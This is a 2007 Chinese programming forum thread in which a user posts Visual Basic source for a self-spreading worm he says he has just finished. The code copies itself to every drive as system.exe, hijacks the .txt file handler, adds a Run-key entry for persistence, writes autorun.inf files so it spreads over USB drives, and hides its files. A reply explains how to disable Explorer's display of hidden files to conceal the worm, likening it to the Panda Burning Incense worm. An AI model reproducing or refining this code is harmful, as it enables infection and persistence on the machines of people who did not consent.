| 编程中国 | 业界新闻 | 技术文章 | 视频教程 | 下载频道 | 程序源码 | 个人空间 | 编程论坛
全能ASP/PHP/ASP.NET主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付学习型 ASP/PHP/ASP.NET 主机 30元/年
高端软件开发 = 年薪十万不是梦赛孚耐:软件保护加密专家身份认证令牌USB KEY 
共有 307 人关注过本帖
标题:我的蠕虫终于完成了
收藏  订阅  推荐  打印 
VB狂热菜鸟
Rank: 1
等级:新手上路
帖子:20
积分:300
注册:2007-3-7
我的蠕虫终于完成了

我就是不知道怎么让程序在资源管理器中看不见。哪个大哥公布一下代码啊。


Option Explicit
Const hkey_current_user = &H80000001
Const hkey_local_machine = &H80000002
Private Declare Function OSRegCreateKey Lib "advapi32" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpszSubKey As String, phkResult As Long) As Long
Const reg_sz = 1
Const reg_expand_sz = 2
Private Declare Function OSRegSetValueEx Lib "advapi32" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpszValueName As String, ByVal dwReserved As Long, ByVal fdwType As Long, lpbData As Any, ByVal cbData As Long) As Long
Private Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long


Private Sub Form_Load()
On Error Resume Next
Dim a As Long, b As String, c As String, benshen
benshen = App.Path + App.EXEName + ".exe"
For a = 2 To 9
b = Chr(65 + a) + ":"
c = b + "\system.exe"
FileCopy benshen, c

retu = OSRegCreateKey(hkey_local_machine, "software\classes\txtfile\shell\open\command", hKey)
retu = OSRegSetValueEx(hKey, "", 0&, reg_expand_sz, ByVal c, Len(c) + 1)
retu = OSRegCreateKey(hkey_current_user, "software\microsoft\windows\currentversion\run", hkey1)
retu = OSRegSetValueEx(hkey1, "text1", 0&, reg_sz, ByVal c, Len(c) + 1)

Open b + "\autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "open=system.exe"
Print #1, "shellexecute = system.exe"
Print #1, "Shell\Auto\Command = system.exe"
Close #1
Next
Shell "attrib +h c:\autorun.inf"
Shell "attrib +h c:\system.exe"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h d:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h e:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h f:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h h:\autorun.inf"
Shell "attrib +h i:\autorun.inf"
Shell "attrib +h i:\autorun.inf"

End Sub

搜索更多相关主题的帖子: 蠕虫  
2007-3-20 23:43
cucu3998
Rank: 2
等级:注册会员
帖子:47
积分:584
注册:2007-3-20

你把资源管理器查看隐藏文件关掉
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advan ced\Folder\Hidden\SHOWALL,将右窗的双字节项值CheckedValue改为0即可。
这样,你的蠕虫在管理器里就看不到了,就像熊猫烧香似的。

2007-3-21 09:01
VB狂热菜鸟
Rank: 1
等级:新手上路
帖子:20
积分:300
注册:2007-3-7

感谢大哥回我的贴啊。小弟受益非浅。 不知大哥能否留个QQ,日后好向你请教。

2007-3-21 11:22
cucu3998
Rank: 2
等级:注册会员
帖子:47
积分:584
注册:2007-3-20

41510074,你才是高手,我是小菜,呵呵,我也正在学VB,就是学不会
2007-3-21 13:41
hanyiask
Rank: 3Rank: 3
来自:皖东
等级:中级会员
帖子:314
积分:3354
注册:2007-2-6

能否把原工程发上来送到我的邮箱hanyiask@126.com[em17]

1992年4月5号那天,护士对俺娘说,许多年以后,这娃相当"牛B"。
2007-3-21 20:56
关于我们 | 广告合作 | 编程中国 | 清除Cookies | Archiver | WAP | TOP

编程中国 版权所有,并保留所有权利。鲁ICP备08000592号
Powered by Discuz, Processed in 0.046727 second(s), 9 queries.
Copyright©2004-2008, BCCN.NET, All Rights Reserved